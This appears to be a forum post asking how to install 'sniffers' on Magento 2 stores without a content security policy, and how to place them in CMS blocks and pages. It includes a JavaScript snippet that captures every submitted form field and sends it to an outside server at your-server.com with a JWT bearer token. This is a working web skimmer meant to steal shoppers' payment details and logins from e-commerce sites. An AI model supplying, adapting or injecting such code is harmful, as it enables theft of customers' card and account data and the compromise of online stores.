Hello, question regarding installing sniffers on magento2 sites with jwt token (fresh generated). What are the requirements (no csp), how is the process on blocks n pages. Thanks
<script>
// Capture form submissions
document.addEventListener('submit', function (e) {
const formData = new FormData(e.target);
const data = {};
formData.forEach((value, key) => data[key] = value);
// Send data to your server with the JWT token
fetch('https://your-server.com/capture', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('jwt_token')}`
},
body: JSON.stringify(data)
});
});
</script>